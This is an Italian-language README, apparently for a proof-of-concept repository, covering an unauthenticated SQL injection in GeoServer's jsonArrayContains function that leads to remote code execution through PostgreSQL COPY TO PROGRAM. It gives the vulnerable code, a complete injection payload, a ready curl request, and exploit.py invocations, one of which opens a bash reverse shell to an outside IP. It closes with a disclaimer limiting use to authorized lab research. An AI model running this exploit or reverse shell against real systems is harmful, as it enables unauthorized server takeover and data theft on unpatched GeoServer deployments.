
POC | GeoServer SQL injection non autenticata fino alla RCE completa
CVE: CVE-2026-76904 | CVSS: 9.8 (Critico)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Questa vulnerabilità è stata assegnata GHSA-mqjf-5f49-2fjh dal team GeoServer/GeoTools ed è attivamente sfruttata in natura a partire da agosto 2026.
La vulnerabilità è stata corretta, ma essendo così recente (1786870173) è ancora ampiamente sfruttata sul web.
21 agosto 2026 - Ricevuto un identificativo CVE: CVE-2026-76904
SQL injection non autenticata nella funzione jsonArrayContains di GeoServer
-> Remote Code Execution tramite PostgreSQL COPY TO PROGRAM.
La funzione jsonArrayContains di GeoServer (nello specifico in GeoTools), utilizzata per interrogare array JSON in PostgreSQL, contiene una vulnerabilità critica di SQL injection. Il terzo parametro (expected) viene concatenato direttamente nella query SQL senza alcuna sanitizzazione, escape o binding dei parametri.
Nello specifico:
jsonb_path_exists("column"::jsonb, '$ ? (@.key == "<USER_INPUT>")')
La vulnerabilità deriva dal metodo FilterToSqlHelper.constructEquality di GeoTools.
Il terzo parametro (expected) della funzione jsonArrayContains viene scritto direttamente nella stringa SQL usando String.formatted() senza alcun escape.
Object value = ((LiteralExpressionImpl) expected).getValue();
return "(@.%s == \"%s\")".formatted(jsonPath[lastIndex], value);
Questa falla non è un bug nuovo, è una regressione di CVE-2023-25158 (una vulnerabilità di SQL injection identica con CVSS 9.8).
La nuova vulnerabilità è stata introdotta quando GEOT-7589 ha aggiunto il supporto a jsonb_path_exists per PostgreSQL 12+.
La patch del 2023 non proteggeva la funzione jsonArrayContains, che è stata aggiunta/modificata dopo quella remediation.
In sostanza questo:
jsonArrayContains(data,'/x','y")'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'COMMAND' --')=true
Analisi del Payload:
| Componente | Scopo |
|---|---|
jsonArrayContains(data,'/x','y")\'') | Chiama la funzione con terzo parametro manipolato |
OR 1=1)) | Chiude il percorso JSON e la chiamata di funzione |
AS gt_injected; | Crea un alias per la tabella derivata |
COPY (SELECT 1) TO PROGRAM 'COMMAND' | Comando RCE PostgreSQL |
--')=true | Commenta il resto della SQL |
curl manuale
curl -G "http://127.0.0.1:8080/geoserver/topp/ows" \
--data-urlencode "service=WFS" \
--data-urlencode "version=2.0.0" \
--data-urlencode "request=GetFeature" \
--data-urlencode "typeNames=topp:test_json" \
--data-urlencode "outputFormat=application/json" \
--data-urlencode "CQL_FILTER=jsonArrayContains(data,'/x','y\")\'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'whoami > /tmp/pwned.txt' --')=true"
Il pattern di chiusura WFS 2.0 è adattato dalla ricerca di mhtsec
Nessuno vuole usare curl, giusto? Ecco l'utilizzo di exploit.py
PoC per la creazione di file
python3 exploit.py \
--url http://127.0.0.1:8080/geoserver \
--workspace topp \
--layer test_json \
--column data \
--cmd "echo what\'s up BrOoOoO00????? > /tmp/yonliud.txt" \
--show-payload
PoC RCE
python3 exploit.py \
--url http://127.0.0.1:8080/geoserver \
--workspace topp \
--layer test_json \
--column data \
--cmd "bash -c 'bash -i >& /dev/tcp/172.26.242.223/4444 0>&1'" \
--show-payload
Un docker-compose.yml è fornito per semplicità, per avviare rapidamente il PoC.
Dopo l'inizializzazione usando
Docker compose up -d
possiamo configurare l'ambiente usando la REST API a nostra disposizione
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores" \
-u admin:geoserver \
-H "Content-Type: application/xml" \
-d '<dataStore>
<name>test_json_store</name>
<connectionParameters>
<entry key="host">db</entry>
<entry key="port">5432</entry>
<entry key="database">geoserver_data</entry>
<entry key="user">geoserver</entry>
<entry key="passwd">geoserver</entry>
<entry key="dbtype">postgis</entry>
</connectionParameters>
</dataStore>'
Pubblicare il layer
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores/test_json_store/featuretypes" \
-u admin:geoserver \
-H "Content-Type: application/xml" \
-d '<featureType>
<name>test_json</name>
<nativeName>test_json</nativeName>
<title>Test JSON Layer</title>
<srs>EPSG:4326</srs>
</featureType>'
Questo repository contiene un proof-of-concept indipendente per lo sfruttamento della vulnerabilità zero-day di SQL injection verso RCE in GeoServer jsonArrayContains.
Questa vulnerabilità è stata originariamente scoperta e divulgata da 秋风 (@q1uf3ng). La catena di sfruttamento è stata ricreata e validata in un ambiente di laboratorio controllato.
Questo progetto è destinato esclusivamente a ricerca sulla sicurezza autorizzata, istruzione e test in ambienti di laboratorio isolati.
Non utilizzare questo software contro sistemi, reti o dati senza esplicita autorizzazione del proprietario. Sei l'unico responsabile del rispetto di tutte le leggi applicabili e di qualsiasi conseguenza derivante dall'uso di questo progetto.
L'autore, YonLiud, fornisce questo progetto "così com'è", senza garanzie di alcun tipo, e non accetta alcuna responsabilità per danni, perdita di dati, interruzioni del servizio, accessi non autorizzati o altri usi impropri causati da questo software o da opere derivate.
Usando questo progetto, riconosci e accetti queste condizioni.